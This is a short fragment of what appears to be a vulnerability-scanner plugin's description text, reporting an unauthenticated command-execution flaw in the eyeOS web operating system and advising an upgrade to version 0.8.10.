tag_summary = "The remote system contains a PHP application that is prone to 
command execution flaws. 

Description :

The remote system is running a vulnerable version of eyeOS.

EyeOS is a web based operating system, which makes it possible
to access data and applications remote by using a web-browser.

The installed version does not initialize user sessions properly,
allowing unauthenticated attackers to execute arbitrary commands 
with the privileges of the webserver.";

tag_solution = "Upgrade to eyeOS version 0.8.10.";
